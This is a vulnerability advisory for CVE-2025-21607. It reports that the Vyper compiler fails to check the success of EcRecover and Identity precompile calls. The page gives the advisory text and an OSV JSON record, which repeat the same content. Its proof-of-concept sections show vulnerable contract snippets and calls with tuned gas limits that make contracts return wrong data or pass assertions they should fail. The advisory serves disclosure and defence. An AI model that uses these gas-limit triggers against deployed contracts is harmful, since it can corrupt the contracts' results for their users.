    a: uint256[3000] = [2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 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0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
    return a

@external
def foo():
    s: uint256[3000] = self.bar()
    assert(s[0] == 0)

Problematic Call:

try:
    c.foo()                     # Correctly reverts
except Exception as e:
    print("Correctly reverted")
try:
    c.foo(gas=210000)           # Incorrectly succeeds
    print("Incorrectly succeeded")
except Exception:
    pass

Identity used in `raw_revert`

Affected versions: 0.3.8 - 0.4.0
A copy operation might appear as part of raw_revert
As a result the revert reason might be incorrect

Vulnerable Code:

@external
def foo(_data: Bytes[10000]):
    b: Bytes[10000] = _data
    raw_revert(b)

Problematic Call:

calldata = binascii.unhexlify("bb" * 10_000)
c.foo(calldata)       # Has correct revert reason
c.foo(calldata, gas=4_800)       # Has empty revert reason, but not out-of-gas

Identity to copy static arrays

Affected versions: 0.2.0 - 0.4.0
Vyper might perform a memory copy for static arrays, e.g. when moving them in and out of internal functions
As this access is especially cheap (due to the static checks) it can also happen for smaller sizes

Vulnerable Code:

@external
def foo(x: uint256[2500]) -> uint256:
    s: uint256[2500] = x
    t: uint256[2500] = s
    return t[0]

Problematic Call:

calldata = [2] + [0] * 2499
print(c.foo(calldata))              # Prints 2
print(c.foo(calldata, gas=74500))   # Prints 0

Identity to copy and return String or Bytes

Affected versions: 0.20 - 0.4.0
Multiple situations in vyper might trigger a memory copy operation, e.g. moving data in and out of internal functions
If the target buffer is later returned, incorrect data might be returned

Vulnerable Code:

@external
@view
def foo(x: String[1000000]) -> String[1000000]:
    return x

Problematic Call:

calldata = "a"*1000000
x = c.foo(calldata)                 # Returns calldata
y = c.foo(calldata, gas=8_000_000)  # Returns empty data

Identity and accessing the length of the target data

Affected versions: 0.3.10 - 0.4.0
Accessing the data is fairly cheap, making it possible for smaller data copies

Vulnerable Code:

@external
@view
def foo(x: String[1000000]) -> uint256:
    y: String[1000000] = x
    return len(y)

Problematic Call:

calldata = "a"*1000000
x = c.foo(calldata)                 # Returns correct length
y = c.foo(calldata, gas=7_929_200)  # Returns incorrect length

Identity to copy and return String or Bytes

Affected versions: 0.3.10 - 0.4.0
Multiple situations in vyper might trigger a memory copy operation, e.g. moving data in and out of internal functions
If the target buffer is later returned, incorrect data might be returned

Vulnerable Code:

@external
@view
def foo(x: String[1000000]) -> String[1000000]:
    return x

Problematic Call:

calldata = "a"*1000000
x = c.foo(calldata)                 # Returns calldata
y = c.foo(calldata, gas=8_000_000)  # Returns empty data

Impact

A contract search was conducted and yielded no significant results.

The advisory was rated a medium because the likelihood is low, but difficult to detect by source code analysis alone, and could yield unexpected results if a contract is affected by the bug.

Severity

2.3 (Low)


                  
                    CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N

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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c 0.4.1"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "vyper"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-21607"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-670",
      "CWE-703"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-01-14T16:34:20Z",
    "nvd_published_at": "2025-01-14T18:16:05Z",
    "severity": "LOW"
  },
  "details": "### Summary\n\nWhen the Vyper Compiler uses the precompiles EcRecover (0x1) and Identity (0x4), the success flag of the call is not checked. As a consequence an attacker can provide a specific amount of gas to make these calls fail but let the overall execution continue. Then the execution result can be incorrect.\n\nBased on EVM\u0027s rules, after the failed precompile the remaining code has only 1/64 of the pre-call-gas left (as 63/64 were forwarded and spent). Hence, only fairly simple executions can follow the failed precompile calls. Therefore, we found no significantly impacted real-world contracts.\n\nThe fix is tracked in https://github.com/vyperlang/vyper/pull/4451.\n\n### Details\n\n\n#### The relevant precompiles\n\n##### EcRecover\n\nEcRecover is used in vyper\u0027s `ecrecover` built-in. As the precompile consumes 3000 gas, any execution after an out-of-gas EcRecover call has at most 47 gas left.\n\n##### Identity\n\n- The Identity precompile is used in vyper to perform memory copy operations. As its cost is variable, a variable amount of gas might be left after a failed call. The bigger the copy operation, the more gas can be left. Hence, a failed call to Identity could theoretically be followed by successful storage changes or emitted events.\n- Identity is no longer used when `evm-version` `cancun` is used (because `MCOPY` is used instead). In 0.4.0 `cancun` is default, in 0.3.10 `cancun` is an option, otherwise `cancun` is not available. As only pre-`cancun` versions are relevant, we don\u0027t have to consider transient storage operations succeeding a failed call to Identity.\n\n#### The other precompiles\n\n- Calls to `Sha2`, `ecAdd`, and `ecMul` have success checks and have had them for a long time.\n- The precompiles `modexp`, `ripe`, `blake`, `ecPairing`, and `Point Evaluation` have no builtins in vyper.\n\n\n### PoC\n\nIn the following we provide concrete examples of incorrectly generated bytecode. These examples are not optimized, but rather Proof-of-Concepts. The list is also not exhaustive.\n\n#### `ecrecover` use\n\n- Affected versions: 0.2.0 - 0.4.0 \n- For older compiler versions (\u003c=0.3.9) it behaves similarly to this [older advisory](https://github.com/vyperlang/vyper/security/advisories/GHSA-f5x6-7qgp-jhf3). As no data is returned, the previous value of the memory word is returned to the user. Hence, any dirty bytes might be returned. Contracts with older compiler versions and `ecrecover` were checked.\n- For new vyper versions, the output buffer is zeroed, so when the call fails zero is returned. This is an incorrect result, but developers should anyway check for 0 as a failure case. Hence, this is unlikely to result in issues. However, we did search for such cases.\n- As mentioned above at most 47 gas is left after the failed call, hence a `return` is the most realistic scenario to be attacked.\n\nVulnerable Code:\n```py\n@external\n@view\ndef foo(hash: bytes32, v: uint256, r:uint256, s:uint256) -\u003e address:\n    return ecrecover(hash, v, r, s)\n```\n\nProblematic Call:\n```py\nprint(\n    c.foo(\n        binascii.unhexlify(\n            \"6c9c5e133b8aafb2ea74f524a5263495e7ae5701c7248805f7b511d973dc7055\"\n        ),\n        28,\n        78616903610408968922803823221221116251138855211764625814919875002740131251724,\n        37668412420813231458864536126575229553064045345107737433087067088194345044408,\n    )\n)  # Returns 0x9eE53ad38Bb67d745223a4257D7d48cE973FeB7A\n\nprint(\n    c.foo(\n        binascii.unhexlify(\n            \"6c9c5e133b8aafb2ea74f524a5263495e7ae5701c7248805f7b511d973dc7055\"\n        ),\n        28,\n        78616903610408968922803823221221116251138855211764625814919875002740131251724,\n        37668412420813231458864536126575229553064045345107737433087067088194345044408,\n        gas=3000,\n    )\n)  # Returns 0x0000000000000000000000000000000000000000\n```\n\n#### Identity to copy Dynamic Arrays\n\n- Affected versions: 0.3.2 - 0.3.9\n- Dynamic Arrays might be copied on different occasions\n- That copy operation can fail leading to incorrect accesses afterwards\n\nVulnerable Code:\n```py\n\n@external\ndef foo() -\u003e uint256:\n    a: DynArray[uint256, 4000] = [2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 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0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n    b: DynArray[uint256, 4000] = a\n    return b[0]\n```\n\nProblematic Call:\n```py\nprint(c.foo())            # Prints 2\nprint(c.foo(gas=170000))  # Prints 0\n```\n\n#### Identity in ABI Encoding of Returndata\n\n- Affected versions: 0.3.2 - 0.4.0\n- Complex types such as Dynamic array with Strings inside need to be abi encoded before being returned\n- In that `return` there is a memory copy which can fail\n\nVulnerable Code:\n```py\n@external\n@view\ndef foo(x: String[1000000], y: String[1000000]) -\u003e DynArray[String[1000000], 2]:\n    z: DynArray[String[1000000], 2] = [x, y]\n    # Some code\n    return z\n```\n\nProblematic Call:\n```py\ncalldata0 = \"a\"*10\ncalldata1 = \"b\"*1000000\nc.foo(calldata0, calldata1)                   # Returns correct data\nc.foo(calldata0, calldata1, gas=48_400_000)   # Returns incorrect data (only first part)\n```\n\n#### Assertion based on data copied through Identity\n\n- Affected versions: 0.2.0 - 0.4.0\n- An incomplete copy operation might falsify the result of a subsequent `assert`\n\n\nVulnerable Code:\n```py\n@internal\ndef bar() -\u003e uint256[3000]:\n    a: uint256[3000] = [2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 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  c.foo(gas=210000)           # Incorrectly succeeds\n    print(\"Incorrectly succeeded\")\nexcept Exception:\n    pass\n```\n\n#### Identity used in `raw_revert`\n\n- Affected versions: 0.3.8 - 0.4.0\n- A copy operation might appear as part of raw_revert\n- As a result the revert reason might be incorrect\n\nVulnerable Code:\n```py\n@external\ndef foo(_data: Bytes[10000]):\n    b: Bytes[10000] = _data\n    raw_revert(b)\n```\n\nProblematic Call:\n```py\ncalldata = binascii.unhexlify(\"bb\" * 10_000)\nc.foo(calldata)       # Has correct revert reason\nc.foo(calldata, gas=4_800)       # Has empty revert reason, but not out-of-gas\n```\n\n\n#### Identity to copy static arrays\n\n- Affected versions: 0.2.0 - 0.4.0\n- Vyper might perform a memory copy for static arrays, e.g. when moving them in and out of internal functions\n- As this access is especially cheap (due to the static checks) it can also happen for smaller sizes\n\nVulnerable Code:\n```py\n@external\ndef foo(x: uint256[2500]) -\u003e uint256:\n    s: uint256[2500] = x\n    t: uint256[2500] = s\n    return t[0]\n```\n\nProblematic Call:\n```py\ncalldata = [2] + [0] * 2499\nprint(c.foo(calldata))              # Prints 2\nprint(c.foo(calldata, gas=74500))   # Prints 0\n```\n\n\n#### Identity to copy and return String or Bytes\n\n- Affected versions: 0.20 - 0.4.0\n- Multiple situations in vyper might trigger a memory copy operation, e.g. moving data in and out of internal functions\n- If the target buffer is later returned, incorrect data might be returned\n\nVulnerable Code:\n```py\n@external\n@view\ndef foo(x: String[1000000]) -\u003e String[1000000]:\n    return x\n```\n\nProblematic Call:\n```py\ncalldata = \"a\"*1000000\nx = c.foo(calldata)                 # Returns calldata\ny = c.foo(calldata, gas=8_000_000)  # Returns empty data\n```\n\n\n#### Identity and accessing the length of the target data\n\n- Affected versions: 0.3.10 - 0.4.0\n- Accessing the data is fairly cheap, making it possible for smaller data copies\n\nVulnerable Code:\n```py\n@external\n@view\ndef foo(x: String[1000000]) -\u003e uint256:\n    y: String[1000000] = x\n    return len(y)\n```\n\nProblematic Call:\n```py\ncalldata = \"a\"*1000000\nx = c.foo(calldata)                 # Returns correct length\ny = c.foo(calldata, gas=7_929_200)  # Returns incorrect length\n```\n\n#### Identity to copy and return String or Bytes\n\n- Affected versions: 0.3.10 - 0.4.0\n- Multiple situations in vyper might trigger a memory copy operation, e.g. moving data in and out of internal functions\n- If the target buffer is later returned, incorrect data might be returned\n\nVulnerable Code:\n```py\n@external\n@view\ndef foo(x: String[1000000]) -\u003e String[1000000]:\n    return x\n```\n\nProblematic Call:\n```py\ncalldata = \"a\"*1000000\nx = c.foo(calldata)                 # Returns calldata\ny = c.foo(calldata, gas=8_000_000)  # Returns empty data\n```\n\n### Impact\n\nA contract search was conducted and yielded no significant results.\n\nThe advisory was rated a medium because the likelihood is low, but difficult to detect by source code analysis alone, and could yield unexpected results if a contract is affected by the bug.",
  "id": "GHSA-vgf2-gvx8-xwc3",
  "modified": "2025-04-24T14:39:58Z",
  "published": "2025-01-14T16:34:20Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/vyperlang/vyper/security/advisories/GHSA-vgf2-gvx8-xwc3"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-21607"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vyperlang/vyper/pull/4451"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vyperlang/vyper/commit/7136eab0a254aa2ff7ddca41cc05f2ee1fa99caf"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/vyper/PYSEC-2025-33.yaml"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/vyperlang/vyper"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Vyper Does Not Check the Success of Certain Precompile Calls"
}

No mitigation information available for this CWE.

No CAPEC attack patterns related to this CWE.

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CWE-703

Improper Check or Handling of Exceptional Conditions

Summary

Details

PoC

Impact

Summary

Details

The relevant precompiles

EcRecover

Identity

The other precompiles

PoC

ecrecover use

Identity to copy Dynamic Arrays

Identity in ABI Encoding of Returndata

Assertion based on data copied through Identity

Identity used in raw_revert

Identity to copy static arrays

Identity to copy and return String or Bytes

Identity and accessing the length of the target data

Identity to copy and return String or Bytes

Impact

`ecrecover` use

Identity used in `raw_revert`